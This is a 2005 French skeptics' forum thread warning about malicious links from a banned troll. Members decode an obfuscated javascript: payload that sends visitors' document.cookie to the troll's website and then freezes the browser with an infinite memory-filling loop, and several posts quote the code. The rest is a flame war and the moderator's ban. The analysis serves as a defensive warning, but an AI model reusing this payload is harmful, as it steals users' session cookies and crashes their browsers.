VIRUS?Ne cliquez pas les liens postés par razorblade=Ricardo

Vous pouvez parler de toutes les sortes d’astrologies connues ici.
Avatar de l’utilisateur
Invité
Messages : 4580
Inscription : 16 janv. 2004, 11:47

VIRUS?Ne cliquez pas les liens postés par razorblade=Ricardo

#1

Message par Invité » 23 févr. 2005, 20:39

VIRUS?Ne cliquez pas les liens postés par razorblade=Ricardo

I.

Avatar de l’utilisateur
Invité
Messages : 4580
Inscription : 16 janv. 2004, 11:47

Re: VIRUS?Ne cliquez pas les liens postés par razorblade=Ric

#2

Message par Invité » 23 févr. 2005, 21:11


Lisez ceci avant de poster.

viewtopic.php?p=29129#29129

I.

Avatar de l’utilisateur
Denis
Modérateur
Modérateur
Messages : 19177
Inscription : 03 sept. 2003, 17:22

Bravo et merci

#3

Message par Denis » 23 févr. 2005, 21:59


Salut Invité,

Merci pour la mise en garde et bravo pour ta vigilance. J'aurais certainement cliqué.

As tu des raisons objectives de penser que razorblade=Ricardo ?

Y a-t-il des gens qui ont cliqué ? À ceux-là, qu'est-ce qui se passe, quand on clique ?

:) Denis
Les meilleures sorties de route sont celles qui font le moins de tonneaux.

Avatar de l’utilisateur
Christian
Messages : 5231
Inscription : 03 sept. 2003, 09:59

traduction

#4

Message par Christian » 23 févr. 2005, 22:26

Comme dit souvent Ricardo: traduction

en copiant le code javascript donné par le lien

Code : Tout sélectionner

javascript:eval(unescape(unescape('%2577%2569nd%256F%2577.
%256Fp%2565n%2528%2527h%2574%2574p%253A//%2577%2577
%2577.%2563h%2565z%2572%2569%2563ha%2572d.%2563%256
Fm/%2565r%2572.h%2574m%253Fm%2573g%253D%2527+d%256F
%2563um%2565nt.c%256F%256Fk%2569e%252C%2527%2527%252C
%25273000%252C%252C%2527%2529%253B%2577%2569nd%256F
%2577.f%256F%2563us%2528%2529%253Bva%2572%2520a%253D
%2527jlacbgffod%2527%253Bwh%2569l%2565%2528%2574%2572u
%2565%2529%2520a+%253Da%253B')))
dans un fichier html en raplaçant la commande eval par la commande document.write et en ajoutant le code <script></script> suivant:

Code : Tout sélectionner

<script language="javascript">
javascript:document.write(unescape(unescape('%2577%2569nd%256F%2577.
%256Fp%2565n%2528%2527h%2574%2574p%253A//%2577%2577
%2577.%2563h%2565z%2572%2569%2563ha%2572d.%2563%256
Fm/%2565r%2572.h%2574m%253Fm%2573g%253D%2527+d%256F
%2563um%2565nt.c%256F%256Fk%2569e%252C%2527%2527%252C
%25273000%252C%252C%2527%2529%253B%2577%2569nd%256F
%2577.f%256F%2563us%2528%2529%253Bva%2572%2520a%253D
%2527jlacbgffod%2527%253Bwh%2569l%2565%2528%2574%2572u
%2565%2529%2520a+%253Da%253B')))
</script>
on obtient dans un navigateur tel que FireFox ou IE la traduction suivante:

Code : Tout sélectionner

window.open('http://www.chezrichard.com/err.htm?msg='+document.cookie,'','3000,,');window.focus();var a='jlacbgffod';while(true) a+=a;
Mmmm... Je n'ai pas fais beaucoup de Javascript pour le Ouèbe, c'est pas vraiment mon point fort en programmation... Je vais quand même essayer de comprendre ce p'tit bout de code:
  • Ouverture de la page err.htm dans une nouvelle fenêtre (et écriture d'un cookie?);
  • Focus sur cette nouvelle fenêtre;
  • Il y a une boucle infinie sans condition d'arrêt pour compléter... ce qui n'est jamais très bon.
Si quelqu'un de plus compétent que moi peut modifier ou compléter ma courte analyse...

Christian

SophieP
Messages : 66
Inscription : 18 févr. 2005, 07:06

Re: Bravo et merci

#5

Message par SophieP » 23 févr. 2005, 23:21

Denis a écrit :Y a-t-il des gens qui ont cliqué ?
Moi si.
Denis a écrit :À ceux-là, qu'est-ce qui se passe, quand on clique ?
Pas grand chose, je suis encore vivant et mon PC aussi.
Plan C - Je vous avais averti!

SophieP
Messages : 66
Inscription : 18 févr. 2005, 07:06

Re: traduction

#6

Message par SophieP » 23 févr. 2005, 23:36

Christian a écrit :

Code : Tout sélectionner

window.open('http://www.chezrichard.com/err.htm?msg='+document.cookie,'','3000,,');window.focus();var a='jlacbgffod';while(true) a+=a;
Mmmm... Je n'ai pas fais beaucoup de Javascript pour le Ouèbe, c'est pas vraiment mon point fort en programmation... Je vais quand même essayer de comprendre ce p'tit bout de code:
  • Ouverture de la page err.htm dans une nouvelle fenêtre (et écriture d'un cookie?); 1/2
  • Focus sur cette nouvelle fenêtre; 0/2
  • Il y a une boucle infinie sans condition d'arrêt pour compléter... ce qui n'est jamais très bon. 2/2
Si quelqu'un de plus compétent que moi peut modifier ou compléter ma courte analyse...
3/6, c'est pas fort. Surtout venant de quelqu'un qui dit connaitre la prog... :lol: Tu fais pas du javascript pour le web? Tu le fais pourquoi alors? A quoi est-ce que le javascript peut bien servir d'autre? Deuh!
Voilà ce qui arrive aux gens qui aiment critiquer: on finit par se rendre compte qu'ils ne faisaient que projetter leur médiocrité.
Un si petit programme, comment peux-tu ne pas le comprendre?
Ha ha haaaaah!

Ensuite, ces minables vont critiquer mes connaissances de programmation. :lol:

C'est quoi ton point fort en programmation? Critiquer? Chiâler? Copier des bouts de code sur le web et les coller dans une page html?
Que ferais-tu devant un code comme celui-ci?

Code : Tout sélectionner

function calculeLune(t) 
{
	var t2=t*t;var da=t*36525
	var ln=FNmod(259.1833-0.05295392*da+(0.000002*t+0.002078)*t2)
	var ms=FNmod(279.69668+36000.7689*t+0.0003025*t2)
	var de=FNmod(350.737486+445267.114*t-0.001436*t2)
	var lp=FNmod(334.32956+0.11140408*da+(-0.000012*t+0.010325)*t2)
	var ma=FNmod(358.47584+35999.04975*t-0.00015*t2)
	var ml=FNmod(270.434164+13.1763965*da+(0.0000019*t-0.001133)*t2)
	var nu=(-(17.2327+0.01737*t)*FNsin(ln)-1.273*FNsin(2*ms))/3600
	var el=FNmod(296.1046083+477198.849*t+0.00919167*t*t)
	el=ma
	var ll=ml-lp
	var ff=ml-ln
	var w=FNsin(51.2+20.2*t)
	var x=FNsin(193.4404-132.87*t-0.0091731*t2)*14.27
	var y=FNsin(ln)
	var z=-15.58*FNsin(ln+275.05-2.3*t)
	ml=(0.84*w+x+7.261*y)/3600+ml
	ll=(2.94*w+x+9.337*y)/3600+ll
	de=(7.24*w+x+7.261*y)/3600+de
	el=-6.40*w/3600+el
	ff=(0.21*w+x-88.699*y-15.58*z)/3600+ff
	l=22639.55*FNsin(ll)-4586.47*FNsin(ll-2*de)+2369.912*FNsin(2*de)
	l=l+769.02*FNsin(2*ll)-668.15*FNsin(el)
	l=l-411.61*FNsin(2*ff)-211.66*FNsin(2*ll-2*de)-205.96*FNsin(ll+el-2*de)
	l=l+191.95*FNsin(ll+2*de)-165.15*FNsin(el-2*de)
	l=l+147.69*FNsin(ll-el)-125.15*FNsin(de)-109.67*FNsin(ll+el)
	l=l-55.17*FNsin(2*ff-2*de)-45.099*FNsin(ll+2*ff)
	l=l+39.53*FNsin(ll-2*ff)-38.43*FNsin(ll-4*de)+36.12*FNsin(3*ll)
	l=l-30.77*FNsin(2*ll-4*de)+28.48*FNsin(ll-el-2*de)
	l=l-24.42*FNsin(el+2*de)
	l=l+18.61*FNsin(ll-de)+18.02*FNsin(el+de)+14.58*FNsin(ll-el+2*de)
	l=l+14.39*FNsin(2*ll+2*de)+13.9*FNsin(4*de)-13.19*FNsin(3*ll-2*de)
	l=l+9.7*FNsin(2*ll-el)+9.37*FNsin(ll-2*ff-2*de)-8.63*FNsin(2*ll+el-2*de)
	l=l-8.47*FNsin(ll+de)-8.096*FNsin(2*el-2*de)-7.65*FNsin(2*ll+el)
	l=l-7.49*FNsin(2*el)-7.41*FNsin(ll+2*el-2*de)-6.38*FNsin(ll-2*ff+2*de)
	l=l-5.74*FNsin(2*ff+2*de)-4.39*FNsin(ll+el-4*de)-3.99*FNsin(2*ll+2*ff)
	l=l+3.22*FNsin(ll-3*de)-2.92*FNsin(ll+el+2*de)-2.74*FNsin(2*ll+el-4*de)
	l=l-2.49*FNsin(2*ll-el-2*de)+2.58*FNsin(ll-2*el)+2.53*FNsin(ll-2*el-2*de)
	l=l-2.15*FNsin(el+2*ff-2*de)+1.98*FNsin(ll+4*de)+1.94*FNsin(4*ll)
	l=l-1.88*FNsin(el-4*de)+1.75*FNsin(2*ll-de)-1.44*FNsin(el-2*ff+2*de)
	l=l-1.298*FNsin(2*ll-2*ff)-1.27*FNsin(ll+el+de)+1.23*FNsin(2*ll-3*de)
	l=l-1.19*FNsin(3*ll-4*de)+1.18*FNsin(2*ll-el+2*de)-1.17*FNsin(ll+2*el)
	l=l-1.09*FNsin(ll-el-de)+1.06*FNsin(3*ll+2*de)-0.59*FNsin(2*ll+de)
	l=l-0.99*FNsin(ll+2*ff+2*de)-0.95*FNsin(4*ll-2*de)-0.57*FNsin(2*ll-6*de)
	l=l+0.64*FNsin(ll-4*de)+0.56*FNsin(el-de)+0.76*FNsin(ll-2*el+2*de)
	l=l+0.58*FNsin(2*ff-de)-0.55*FNsin(3*ll+el)+0.68*FNsin(3*ll-el)
	l=(l+0.557*FNsin(2*ll+2*ff-2*de)+0.538*FNsin(2*ll-2*ff-2*de))/3600
	return ml+l+nu
}
Plan C - Je vous avais averti!

Avatar de l’utilisateur
Denis
Modérateur
Modérateur
Messages : 19177
Inscription : 03 sept. 2003, 17:22

Vous n'êtes pas nul

#7

Message par Denis » 23 févr. 2005, 23:59


Salut Ricardo,

Vous ne me ferez jamais croire que, ces belles formules, c'est vous qui les avez mises au point.

Vous savez programmer en java? Bravo. Vous n'êtes donc pas nul.

Je dirais la même chose à un paranoïaque frustré qui se vanterait de savoir comment fonctionne la kalashnikov qu'il tient en main. Je lui dirais qu'il n'est pas nul.

:( Denis
Les meilleures sorties de route sont celles qui font le moins de tonneaux.

SophieP
Messages : 66
Inscription : 18 févr. 2005, 07:06

Re: Vous n'êtes pas nul

#8

Message par SophieP » 24 févr. 2005, 00:06

Denis a écrit :Vous savez programmer en java? Bravo. Vous n'êtes donc pas nul.
Le Java et le JavaScript sont deux choses bien différentes.
Voilà pourquoi il ne faut pas parler de choses qu'on ne connait pas: ne pas avoir l'air fou.
Hein mon Denis?
T'as pas encore appris la leçon?
Alors continues.
Denis a écrit :Je dirais la même chose à un paranoïaque frustré qui se vanterait de savoir comment fonctionne la kalashnikov qu'il tient en main. Je lui dirais qu'il n'est pas nul.
Ouais, ouais, encore en train d'examiner autrui pour trouver des défauts.
Dire que ce temps pourrait être utilisé à constater les tiens...
C'est pas la première fois que je te l'expliques, mais tu persistes et signes...deuh!
Plan C - Je vous avais averti!

Avatar de l’utilisateur
Christian
Messages : 5231
Inscription : 03 sept. 2003, 09:59

#9

Message par Christian » 24 févr. 2005, 00:36

Ricardo:
Surtout venant de quelqu'un qui dit connaitre la prog...
Fortran, Assembleur, C, C++, Matlab, shell script... pour vous servir!
Tu fais pas du javascript pour le web? Tu le fais pourquoi alors? A quoi est-ce que le javascript peut bien servir d'autre?
Là, vous venez de vous planter royalement: application Intranet, ça vous dit kekchose?
Voilà ce qui arrive aux gens qui aiment critiquer: on finit par se rendre compte qu'ils ne faisaient que projetter leur médiocrité.
Vous me faites rire!!! Comme si je n'avais pas mentionné que je ne connaissais pas beaucoup JavaScript. Vous défoncez une porte ouverte!

Christian
PS: Dites donc votre ti bout de code de la NASA, vous allez nous l'afficher combien de fois encore? En passant, ce n'est qu'une formule qui n'a rien d'exotique à part sa longueur...

Avatar de l’utilisateur
Magicfingers
Messages : 486
Inscription : 23 févr. 2004, 13:15

Re: traduction

#10

Message par Magicfingers » 24 févr. 2005, 02:51

Christian a écrit :Comme dit souvent Ricardo: traduction

en copiant le code javascript donné par le lien

Code : Tout sélectionner

javascript:eval(unescape(unescape('%2577%2569nd%256F%2577.
%256Fp%2565n%2528%2527h%2574%2574p%253A//%2577%2577
%2577.%2563h%2565z%2572%2569%2563ha%2572d.%2563%256
Fm/%2565r%2572.h%2574m%253Fm%2573g%253D%2527+d%256F
%2563um%2565nt.c%256F%256Fk%2569e%252C%2527%2527%252C
%25273000%252C%252C%2527%2529%253B%2577%2569nd%256F
%2577.f%256F%2563us%2528%2529%253Bva%2572%2520a%253D
%2527jlacbgffod%2527%253Bwh%2569l%2565%2528%2574%2572u
%2565%2529%2520a+%253Da%253B')))
dans un fichier html en raplaçant la commande eval par la commande document.write et en ajoutant le code <script></script> suivant:

Code : Tout sélectionner

<script language="javascript">
javascript:document.write(unescape(unescape('%2577%2569nd%256F%2577.
%256Fp%2565n%2528%2527h%2574%2574p%253A//%2577%2577
%2577.%2563h%2565z%2572%2569%2563ha%2572d.%2563%256
Fm/%2565r%2572.h%2574m%253Fm%2573g%253D%2527+d%256F
%2563um%2565nt.c%256F%256Fk%2569e%252C%2527%2527%252C
%25273000%252C%252C%2527%2529%253B%2577%2569nd%256F
%2577.f%256F%2563us%2528%2529%253Bva%2572%2520a%253D
%2527jlacbgffod%2527%253Bwh%2569l%2565%2528%2574%2572u
%2565%2529%2520a+%253Da%253B')))
</script>
on obtient dans un navigateur tel que FireFox ou IE la traduction suivante:

Code : Tout sélectionner

window.open('http://www.chezrichard.com/err.htm?msg='+document.cookie,'','3000,,');window.focus();var a='jlacbgffod';while(true) a+=a;
Mmmm... Je n'ai pas fais beaucoup de Javascript pour le Ouèbe, c'est pas vraiment mon point fort en programmation... Je vais quand même essayer de comprendre ce p'tit bout de code:
  • Ouverture de la page err.htm dans une nouvelle fenêtre (et écriture d'un cookie?);
  • Focus sur cette nouvelle fenêtre;
  • Il y a une boucle infinie sans condition d'arrêt pour compléter... ce qui n'est jamais très bon.
Si quelqu'un de plus compétent que moi peut modifier ou compléter ma courte analyse...

Christian
J'ai cliqué sur le lien et en effet le script contient une boucle sans condition d'arrêt. J'ai pu fermer le navigateur sans problème malgré tout. Il n'y a pas d'instruction d'écriture sur disque local genre cookie. Seulement, la boucle infinie fait une concaténation d'une chaine de caractères 'jlacbgffod' à elle même (var a). Ei: 'jlacbgffod' + 'jlacbgffod' = 'jlacbgffodjlacbgffod' + 'jlacbgffodjlacbgffod' = 'jlacbgffodjlacbgffodjlacbgffodjlacbgffod' et ainsi de suite

La mémoire devient vite saturée et on entend le disque "swapper" comme un débile. La condition d'arrêt devient soit memory low, stack overflow, program termination si non, reset computer and loose every thing you worked on.

Quel abrutis! Je trouve qu'il commence vraiment à faire pitier. :cry:
Si vous etes pas content de c'que j'dis ben... Tant pis!

Avatar de l’utilisateur
Abel Chemoul
Messages : 451
Inscription : 04 avr. 2004, 11:28

#11

Message par Abel Chemoul » 24 févr. 2005, 04:14

Bon comme disait l'autre "passées les bornes, y a plus de limites", j'ai donc décidé de bannir notre ami psychopathe Ricardo (et ses divers clones dont bien sûr razorblade qui a manifestement fait l'Actors Studio). J'espère que ça ne fera pas un trop grand vide dans sa vie.
Apparemment on a donc eu droit au plan C (ou D je sais plus). Remarquez qu'il nous avait averti. Comme j'avais pas trop envie qu'on se tape tout l'alphabet, j'ai pris les devants.

Bon attention quand même, comme il a l'air plutôt accro, chassé par la porte, il est capable de revenir par la fenêtre, même temporairement. On verra bien s'il a encore du temps à perdre.

nath_Ver
Messages : 23
Inscription : 18 févr. 2005, 06:17

Re: VIRUS?Ne cliquez pas les liens postés par razorblade=Ric

#12

Message par nath_Ver » 24 févr. 2005, 06:06

Invité a écrit :VIRUS?Ne cliquez pas les liens postés par razorblade=Ricardo

I.
quelque chose m'échappe , ok vous "virez" RICARDO
Mais comme je m'étonnais des hostilités nonbreuses dans les échanges sur le forum j'ai recu un message perso me disant, je cite :
Ne vous en faites pas avec l'agressivité qui sévit présentement sur le forum. C'est, je l'espère, temporaire, et due en grande partie par le troll Ricardo (alias SophieP).
Hors cette même Sophie P est toujours tres "active" dans les débats....
n'y a t-il aucun moyen existant pour détecter les gens qui se planquent derrière plusieurs pseudos?
N.V.

Avatar de l’utilisateur
Abel Chemoul
Messages : 451
Inscription : 04 avr. 2004, 11:28

Re: VIRUS?Ne cliquez pas les liens postés par razorblade=Ric

#13

Message par Abel Chemoul » 24 févr. 2005, 06:54

nath_Ver a écrit :
Invité a écrit :VIRUS?Ne cliquez pas les liens postés par razorblade=Ricardo

I.
quelque chose m'échappe , ok vous "virez" RICARDO
Mais comme je m'étonnais des hostilités nonbreuses dans les échanges sur le forum j'ai recu un message perso me disant, je cite :
Ne vous en faites pas avec l'agressivité qui sévit présentement sur le forum. C'est, je l'espère, temporaire, et due en grande partie par le troll Ricardo (alias SophieP).
Hors cette même Sophie P est toujours tres "active" dans les débats....
n'y a t-il aucun moyen existant pour détecter les gens qui se planquent derrière plusieurs pseudos?
Si, il y a un moyen, les adresses IP, c'est justement mon boulot (très intermittent). En l'occurence, Ricardo n'a jamais nié être SophieP, même si on peut se demander pourquoi il nous a expliqué devoir passer par le compte de sa copine alors que cette hypothétique copine n'était même pas inscrite sur le forum. Rien ne l'empêchait de choisir Ricardo1 ou Richard comme nouveau pseudo (il n'était de toute façon même pas banni). Pour razorblade, là c'était du camouflage (de haute volée comme vous avez pu le constater).

Mais avoir plusieurs pseudos ou s'engueuler avec tout le monde n'est pas un motif de bannissement, en revanche ce qu'il a fait hier l'est clairement. C'est le 1er banni en 1 an et demi mais là on pouvait pas faire autrement.

Jean-Francois
Modérateur
Modérateur
Messages : 24500
Inscription : 03 sept. 2003, 02:39

#14

Message par Jean-Francois » 24 févr. 2005, 08:26

Abel Chemoul a écrit :Bon attention quand même, comme il a l'air plutôt accro,...
A mon avis, ce n'est pas la première fois qu'il agit de cette manière avec une série de pseudos sur un des "forums sceptiques". Il en a visiblement contre les sceptiques.

Le mieux pour l'aider dans son sevrage serait d'arrêter totalement de parler de lui. Il serait moins tenter de revenir "semer sa zone". A la limite, vous pourriez peut-être effacer les enfilades concernant ces échanges puisque, de toute façon, il n'y a pas grand chose qui mérite d'être conservé*.

Jean-François

* Sauf un résumé de l'histoire, peut-être.

Michel D.
Messages : 184
Inscription : 16 sept. 2003, 08:10

Re: VIRUS?Ne cliquez pas les liens postés par razorblade=Ric

#15

Message par Michel D. » 24 févr. 2005, 08:40

nath_Ver a écrit : ok vous "virez" RICARDO
Tiens, tiens, une petite nouvelle ! Bienvenue sur le forum.

Tant mieux si ricardo est viré, il n'y avait absolument pas de discussion possible avec lui.

Pour ceux qui ne le connaissent pas encore, voir cette petite merveille sur son site http://www.chezrichard.com/dons.htm

nath_Ver
Messages : 23
Inscription : 18 févr. 2005, 06:17

Re: VIRUS?Ne cliquez pas les liens postés par razorblade=Ric

#16

Message par nath_Ver » 24 févr. 2005, 10:18

Michel D. a écrit :
nath_Ver a écrit : ok vous "virez" RICARDO
Tiens, tiens, une petite nouvelle ! Bienvenue sur le forum.

Tant mieux si ricardo est viré, il n'y avait absolument pas de discussion possible avec lui.

Pour ceux qui ne le connaissent pas encore, voir cette petite merveille sur son site http://www.chezrichard.com/dons.htm
c'est fort dommage qu'il se soit un peu "égaré" car il est probablement sur le site celui qui possède le plus d'humour et un sens inné de la dérision....ce qui hélas fait défaut à certain.....
N.V.

ti-poil
Messages : 3573
Inscription : 02 déc. 2003, 17:27

#17

Message par ti-poil » 24 févr. 2005, 10:32

Jean-Francois a écrit :
Abel Chemoul a écrit :Bon attention quand même, comme il a l'air plutôt accro,...
A mon avis, ce n'est pas la première fois qu'il agit de cette manière avec une série de pseudos sur un des "forums sceptiques". Il en a visiblement contre les sceptiques.

Le mieux pour l'aider dans son sevrage serait d'arrêter totalement de parler de lui. Il serait moins tenter de revenir "semer sa zone". A la limite, vous pourriez peut-être effacer les enfilades concernant ces échanges puisque, de toute façon, il n'y a pas grand chose qui mérite d'être conservé*.

Jean-François


Bon,JF vient d'allumer
Je vous ai averti,Abel vous a averti et c'est juste maintenant que vous comprenez. :roll:

Pas besoin d'avoir la tete a papineau pour comprendre qu'en se braquant a plusieurs contre quelqu'un,il peut survenir un phenomene de rejet qui par la suite peut degenerer.Le monde est rempli d'examples semblables.
Ils y en a ici qui auraient avantage a reflechir sur leurs petits jeux.
La question est pourquoi on est rendu la???
----------------------------------
L'absence de preuve n'est pas la preuve de l'absence.

André
Messages : 1154
Inscription : 05 sept. 2003, 04:52

#18

Message par André » 24 févr. 2005, 11:05

Ti-poil
Pas besoin d'avoir la tete a papineau pour comprendre qu'en se braquant a plusieurs contre quelqu'un,il peut survenir un phenomene de rejet qui par la suite peut degenerer.
Le problème avec les paranoïaques, c'est qu'à force de s'en prendre à tout le monde soit-disant pour se défendre contre des attaques imaginaires, ils finissent par avoir raison en liguant tout le monde contre eux.

André

Jean-Francois
Modérateur
Modérateur
Messages : 24500
Inscription : 03 sept. 2003, 02:39

Re: VIRUS?Ne cliquez pas les liens postés par razorblade=Ric

#19

Message par Jean-Francois » 24 févr. 2005, 11:15

nath_Ver a écrit :c'est fort dommage qu'il se soit un peu "égaré" car il est probablement sur le site celui qui possède le plus d'humour et un sens inné de la dérision....ce qui hélas fait défaut à certain.....
Traduction (comme dirait l'autre): c'est quelqu'un qui m'est très proche... voire en qui je me reconnais un peu moi-même.

J'aime bien quand les "petits nouveaux" portent des jugements moralisateurs, du haut de leurs rares interventions, généralement superficielles. C'est beau cette assurance dans le constat :roll:

Jean-François

Avatar de l’utilisateur
Denis
Modérateur
Modérateur
Messages : 19177
Inscription : 03 sept. 2003, 17:22

Avons nous observé le même spécimen ?

#20

Message par Denis » 24 févr. 2005, 12:23


Salut nath_Ver,

À propos de Ricardo, vous dites :
il est probablement sur le site celui qui possède le plus d'humour et un sens inné de la dérision...
Avons nous observé le même spécimen?

Moi, j'arrive à une évaluation diamétralement opposée à la vôtre. Concernant son sens de l'humour, je remplacerais carrément "le plus" par "le moins". À moins d'avoir des goûts très "premier degré" en matière d'humour. Style "t'es laid, tu pues. Hahaaaaa! Pouet!"

Concernant son sens de la dérision, je l'évalue à l'aune de "dérision bien ordonnée commence par soi-même" et là, il est très très très très loin d'être un champion. Même pas un amateur occasionnel.

Quant à sa façon d'argumenter, le style "Timothy McVeigh" est à la portée d'un paranoïaque moyen qui connaît un peu les explosifs ou le javascript.

:) Denis
Les meilleures sorties de route sont celles qui font le moins de tonneaux.

nath_Ver
Messages : 23
Inscription : 18 févr. 2005, 06:17

Re: VIRUS?Ne cliquez pas les liens postés par razorblade=Ric

#21

Message par nath_Ver » 24 févr. 2005, 12:26

Jean-Francois a écrit :
nath_Ver a écrit :c'est fort dommage qu'il se soit un peu "égaré" car il est probablement sur le site celui qui possède le plus d'humour et un sens inné de la dérision....ce qui hélas fait défaut à certain.....
Traduction (comme dirait l'autre): c'est quelqu'un qui m'est très proche... voire en qui je me reconnais un peu moi-même.

J'aime bien quand les "petits nouveaux" portent des jugements moralisateurs, du haut de leurs rares interventions, généralement superficielles. C'est beau cette assurance dans le constat :roll:

Jean-François

Un peu de mansuétude …Jean-François, un prénom qui m'est très cher mais qui pour autant ne m'aveugle pas..........


Comment pouvez-vous me répondre que je me sens proche de RICARDO uniquement parce que j’ai écrit qu’il ne manquait pas d’humour, pourquoi ne pas lui reconnaître ce qui est.
Vous-même seriez vous totalement dépourvu de toute forme d’esprit ? Et en quoi l’humour et la dérision seraient incompatibles sur le site des SCEPTIQUES.

Dans mes propos il n’y a aucune forme de jugement et même si j’aime la philosophie je ne suis pas moralisatrice au sens ou vous semblait l’avoir compris.
Quant à mes rares interventions « superficielles », inscrite depuis le 18 Février j’ai dû rédiger 4 messages, les avez-vous seulement lu pour porter un jugement aussi hâtif ??? Là encore qui se permet de juger ?

Je faisais pour le moment connaissance avec votre site mais je m’aperçois finalement que par vos propos pas très courtois je n’ai déjà plus rien à y faire.

Sans rancune et continuez à croiser le fer… avec d’autres RICARDO,

Je me range toujours du côté des bannis tant que l’on n’a pas pu me prouver qu’ils étaient des renégats !!!
N.V.

ti-poil
Messages : 3573
Inscription : 02 déc. 2003, 17:27

#22

Message par ti-poil » 24 févr. 2005, 12:30

André a écrit :Ti-poil
Pas besoin d'avoir la tete a papineau pour comprendre qu'en se braquant a plusieurs contre quelqu'un,il peut survenir un phenomene de rejet qui par la suite peut degenerer.
Le problème avec les paranoïaques, c'est qu'à force de s'en prendre à tout le monde soit-disant pour se défendre contre des attaques imaginaires, ils finissent par avoir raison en liguant tout le monde contre eux.

André

Oui, t'a probablement raison,il faut etre au moins deux pour jouer a ce petit jeu et c'est la que le raisonnement et le jugement entre en ligne de compte,ce que certain n'ont pas compris ou il faisaient semblant de ne pas comprendre en minimisant les consequences que cela pourraient apporter.Et ce n'est surement pas en se liant contre que le probleme se resoue.
----------------------------------
L'absence de preuve n'est pas la preuve de l'absence.

ti-poil
Messages : 3573
Inscription : 02 déc. 2003, 17:27

Re: VIRUS?Ne cliquez pas les liens postés par razorblade=Ric

#23

Message par ti-poil » 24 févr. 2005, 12:48

Jean-Francois a écrit : Traduction (comme dirait l'autre): c'est quelqu'un qui m'est très proche... voire en qui je me reconnais un peu moi-même.

J'aime bien quand les "petits nouveaux" portent des jugements moralisateurs, du haut de leurs rares interventions, généralement superficielles. C'est beau cette assurance dans le constat :roll:

Jean-François

Non,ceci n'est pas un jugement moralisateur de la part de JF,il peut se le permettre etant donne qu'il est un des premiers inscrit ici.


Il y a plein de petits nouveaux(comme vous les appeles)qui font des jugements superficielles qui s'inscrit dans la lignee de vos propos,ils faudraient peut-etre les moraliser eux aussis.

Traduction, un poid deux mesures,si c'a va avec mon optique c'est correct et si c'est contraire a ma vision c'est assurement superficielle.
----------------------------------
L'absence de preuve n'est pas la preuve de l'absence.

panpeter
Messages : 114
Inscription : 10 nov. 2004, 09:12

#24

Message par panpeter » 24 févr. 2005, 13:33

J-F a écrit:
J'aime bien quand les "petits nouveaux" portent des jugements moralisateurs, du haut de leurs rares interventions, généralement superficielles.
Même si je suis de l'avis de Denis à propos de Ricardo: du calme Jean-François, donne la chance au coureur...

Et puis, les discussions peuvent être amusantes aussi. :wink:

nath_Ver
Messages : 23
Inscription : 18 févr. 2005, 06:17

Re: Avons nous observé le même spécimen ?

#25

Message par nath_Ver » 24 févr. 2005, 13:34

:) Denis[/quote]Quant à sa façon d'argumenter, le style "Timothy McVeigh" est à la portée d'un paranoïaque moyen qui connaît un peu les explosifs ou le javascript.

:) Denis[/quote]

Pourquoi faire une telle comparaison ou parallèle avec Timothy McVeigh qui a été exécuté en juin 2001 pour l'attentat sanglant que bien des gens ont hélas déjà oublié, c'est bien connu une info en efface une autre, expliquez vous, c'est grave !
N.V.

Répondre

Qui est en ligne ?

Utilisateurs parcourant ce forum : Aucun utilisateur inscrit